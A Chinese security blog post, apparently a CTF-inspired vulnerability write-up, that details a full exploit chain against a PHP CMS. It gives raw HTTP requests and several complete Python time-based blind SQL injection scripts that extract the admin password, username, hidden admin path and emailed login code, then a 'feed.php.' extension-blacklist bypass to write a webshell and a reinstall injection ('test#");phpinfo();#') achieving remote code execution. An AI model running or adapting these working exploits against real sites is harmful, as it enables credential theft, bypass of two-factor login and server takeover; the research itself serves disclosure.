vlambda博客
学习文章列表

解锁SQL注入新玩法和上传通用绕过

本文首发于奇安信攻防社区

社区有奖征稿


· 基础稿费、额外激励、推荐作者、连载均有奖励,年度投稿top3还有神秘大奖!

· 将稿件提交至奇安信攻防社区(点击底部 阅读原文 ,加入社区)



0.前言

最近参加CTF遇到一个CMS,刚好有时间,对其最新版进行一系列漏洞挖掘。

1.前台SQL注入

首先阅读全局配置相关代码,在function/function.php中对各种输入的内容进行了检查,如下:

所有传参方式都进行了过滤,但只对参数值进行了过滤。而在function/form.php中,直接将参数名带入数据库语句进行执行了,如下:

解锁SQL注入新玩法和上传通用绕过

因此构成注入。

   
     
     
   
  1. POST //function/form.php?action=input HTTP/1.1

  2. Host: 10.211.55.10:8081

  3. User-Agent: python-requests/2.23.0

  4. Accept-Encoding: gzip, deflate

  5. Accept: */*

  6. Connection: close

  7. Content-Length: 14

  8. Content-Type: application/x-www-form-urlencoded

  9. 1-sleep(5)=xxx

解锁SQL注入新玩法和上传通用绕过

这部分的漏洞分析其实有前辈先挖掘到了,而且分享出来,但也仅做到此步,而我们的目的不止是验证SQL注入的存在,还要考虑其完整利用方式,于是进行尝试注入数据。

因为CMS的数据库表名是一致的,所以我们可以直接构造payload注入数据。

   
     
     
   
  1. 1-if((select(length(A_pwd))from SL_admin)%3d32,sleep(5),1)=xxx

解锁SQL注入新玩法和上传通用绕过

现实却是恒真的表达式却没有延迟,一定是哪里错了。这时候最好的排查方法就是监控数据库的执行记录,如下:

解锁SQL注入新玩法和上传通用绕过

显然我们输入的“空格”被过滤成“下划线”了,那么我们用/**/替代即可。从而编写出脚本:

   
     
     
   
  1. import requests,time

  2. x = [str(x) for x in range(0, 10)]

  3. y = [chr(y) for y in range(97, 123)]

  4. # z = [chr(y) for y in range(65, 90)] # 大写字母

  5. dic = x+y

  6. # function/form.php?action=input

  7. url="http://127.0.0.1/"

  8. """ 注入密码 """

  9. result=''

  10. for i in range(1,33):

  11.    for j in dic:

  12.        data={

  13.            "1-if((select(substr(A_pwd,{},1))from/**/SL_admin)='{}',sleep(5),1)".format(str(i),j):"xxx"

  14.        }

  15.        startTime = time.time()

  16.        res = requests.post(url+'/function/form.php?action=input',data=data)

  17.        endTime = time.time()

  18.        if endTime - startTime > 5:

  19.            result=result+j

  20.            print(str(i)+'[+] '+result)

  21.            break

  22. # select C_admin from SL_config

  23. """ 注入用户名 """

  24. result=''

  25. for x in range(1,30):

  26.    data = {

  27.        "1-if((select(length(A_login))from/**/SL_admin)='{}',sleep(5),1)".format(str(x)):"xxx"

  28.    }

  29.    startTime = time.time()

  30.    res = requests.post(url + '/function/form.php?action=input', data=data)

  31.    endTime = time.time()

  32.    if endTime - startTime > 5:

  33.        print('[+] 用户名长度:' + str(x))

  34.        break

  35. for i in range(1,x+1):

  36.    for j in dic:

  37.        data={

  38.            "1-if((select(substr(A_login,{},1))from/**/SL_admin)='{}',sleep(5),1)".format(str(i),j):"xxx"

  39.        }

  40.        startTime = time.time()

  41.        res = requests.post(url+'/function/form.php?action=input',data=data)

  42.        endTime = time.time()

  43.        if endTime - startTime > 5:

  44.            result=result+j

  45.            print('[+] 用户名:'+result)

  46.            break

测试过后,如下:

解锁SQL注入新玩法和上传通用绕过

正当我觉得可以进后台RCE的时候(RCE漏洞见后文),现实环境却给我狠狠的上了一课。

  • 注入出账号密码,却找不到后台,因为后台是可以改的。

  • 找到后台以后,异地登陆要邮件验证码。

1.1 获取后台地址

   
     
     
   
  1. import requests,time

  2. x = [str(x) for x in range(0, 10)]

  3. y = [chr(y) for y in range(97, 123)]

  4. # z = [chr(y) for y in range(65, 90)] # 大写字母

  5. dic = x+y

  6. url="http://127.0.0.1/"

  7. # select C_admin from SL_config

  8. """ 注入后台路径 """

  9. result=''

  10. for x in range(1,30):

  11.    data = {

  12.        "1-if((select(length(C_admin))from/**/SL_config)='{}',sleep(5),1)".format(str(x)):"xxx"

  13.    }

  14.    startTime = time.time()

  15.    res = requests.post(url + '/function/form.php?action=input', data=data)

  16.    endTime = time.time()

  17.    if endTime - startTime > 5:

  18.        print('[+] 路径长度:' + str(x))

  19.        break

  20. for i in range(1,x+1):

  21.    for j in dic:

  22.        data={

  23.            "1-if((select(substr(C_admin,{},1))from/**/SL_config)='{}',sleep(5),1)".format(str(i),j):"xxx"

  24.        }

  25.        startTime = time.time()

  26.        res = requests.post(url+'/function/form.php?action=input',data=data)

  27.        endTime = time.time()

  28.        if endTime - startTime > 5:

  29.            result=result+j

  30.            print('[+] 路径:'+result)

  31.            break

1.2 邮件验证码

在进行漏洞验证的时候,发现注入出账号密码后,异地IP登陆需要验证码,下面是获取验证码的流程

解锁SQL注入新玩法和上传通用绕过

  • (1)取出上次管理员登录的IP,如果为空则设置0.0.0.0

  • (2)判断账号米啊么是否正确

  • (3)检查管理员邮箱是否正确,如果不正确的话,验证码设置为123456

  • (4)调用checkip参数判断IP是否与上次登录一致

解锁SQL注入新玩法和上传通用绕过

  • (5)当IP与上次登录不一致时,判断二次验证是否开启(默认开启)

  • (6)然后生成6位随机码,调用sendmail发送给管理员,并将随机码存入SL_config的C_test列中。

综上所述,我们可以通过注入SL_config表的C_test列,获取验证码,代码如下:

   
     
     
   
  1. import requests,time

  2. x = [str(x) for x in range(0, 10)]

  3. y = [chr(y) for y in range(97, 123)]

  4. # z = [chr(y) for y in range(65, 90)] # 大写字母

  5. dic = x+y

  6. url="http://127.0.0.1/"

  7. result=''

  8. dic= [str(x) for x in range(0, 10)]

  9. for i in range(1,7):

  10.    for j in dic:

  11.        data={

  12.            "1-if((select(substr(C_test,{},1))from/**/SL_config)='{}',sleep(5),1)".format(str(i),j):"xxx"

  13.        }

  14.        startTime = time.time()

  15.        res = requests.post(url+'/function/form.php?action=input',data=data)

  16.        endTime = time.time()

  17.        if endTime - startTime > 5:

  18.            result=result+j

  19.            print('[+] 验证码:'+result)

  20.            break

至此,终于历经千难万险进入到后台中了。接下来看后台RCE。

2.后台RCE

2.1 后台RCE-1修改文件绕过

漏洞点在于:admin/ajax.php

解锁SQL注入新玩法和上传通用绕过

在该文件中对修改内容做了几点判断:

  • (1)获取后缀名并赋值给$kname

  • (2)将POST传入的txt参数进行过滤

  • (3)判断$path的文件是否存在

  • (4)判断$kname是否合法(核心过滤点)

  • (5)然后进行保存

看起来,以上的流程并无漏洞,但是当我们传入的内容为feed.php.时,则$kname的值变成了空,而对空值进preg_match('/asp|php|apsx|asax|ascx|cdx|cer|cgi|json|jsp/i', $kname)的判断,则一定为False,因此可以绕过核心过滤点。

实践如下:直接修改,会现实不允许保存该格式文件

解锁SQL注入新玩法和上传通用绕过

绕过:

解锁SQL注入新玩法和上传通用绕过

尝试webshell:

解锁SQL注入新玩法和上传通用绕过

2.2 后台RCE之重装CMS覆盖配置文件

在这个CMS一直都有一个重装getshell的方法,我们先看下触发重装的方法是什么:

解锁SQL注入新玩法和上传通用绕过

然而,我们可以通过2.2中分析的漏洞,修改config.json的内容,数据包为:

   
     
     
   
  1. POST /admin/ajax.php?type=savetxt&path=/data/config.json. HTTP/1.1

  2. Host: 10.211.55.10:8082

  3. Content-Length: 185

  4. Accept: */*

  5. X-Requested-With: XMLHttpRequest

  6. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

  7. Content-Type: application/x-www-form-urlencoded; charset=UTF-8

  8. Origin: http://10.211.55.10:8082

  9. Referer: http://10.211.55.10:8082/admin/

  10. Accept-Encoding: gzip, deflate

  11. Accept-Language: zh-CN,zh;q=0.9

  12. Cookie: count_all=0; authx=; userx=; passx=; add=%E4%B8%AD%E5%9B%BD; user=admin; pass=c5a896f598dd81826b6043bcc3c7cfe9; A_type=1; auth=1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1; newsauth=all; productauth=all; textauth=all; formauth=all; bbsauth=all; PHPSESSID=bmpa9h5omv0mkjphlelkkvqc12; Hm_lvt_b60316de6009d5654de7312f772162be=1626009231,1626661445; Hm_lpvt_b60316de6009d5654de7312f772162be=1626665207

  13. Connection: close

  14. txt={"first"%3a"1","table"%3a"SL_","template"%3a"true","plug"%3a"true","from"%3a"free","url"%3a"https%3a\/\/www.s-cms.cn","id"%3a"0","https"%3a"false","api"%3a"http%3a\/\/cdn.s-cms.cn"}

如果这里不想危害网站,或者说有个更好的还原,请将txt的值改为访问data/config.json后的值(web可访问到),值修改first=1

解锁SQL注入新玩法和上传通用绕过

然后进行重装,在数据库名称输入:test#");phpinfo();# ,即可getshell。我们看下是怎么形成的:

解锁SQL注入新玩法和上传通用绕过

解锁SQL注入新玩法和上传通用绕过

进行一系列的导入后,将数据库账号密码等信息保存到function/conn.php

解锁SQL注入新玩法和上传通用绕过

所以形成RCE:

解锁SQL注入新玩法和上传通用绕过

解锁SQL注入新玩法和上传通用绕过

3.总结

1、is_file 在windows环境下对1.php.判断是否存在时,会自动去掉最后的.

2、试用1.php.方式进行黑名单绕过,其实在某大OA里面也出现过,可能算是黑名单校验的通病吧,只校验是否存在黑名单字符,而忘记校验后缀是否为空。

3、其实从这个注入也是想到了很多骚思路,以后注入出的密码无法解密到明文的时候,可以考虑密码重置,从数据库读验证码。

END



【版权说明】本作品著作权归AdminTony所有,授权补天漏洞响应平台独家享有信息网络传播权,任何第三方未经授权,不得转载。



解锁SQL注入新玩法和上传通用绕过
AdminTony

网络尖刀S小队成员


敲黑板!转发≠学会,课代表给你们划重点了

复习列表












分享、点赞、在看,一键三连,yyds。

点击阅读原文,加入社区,获取更多技术干货!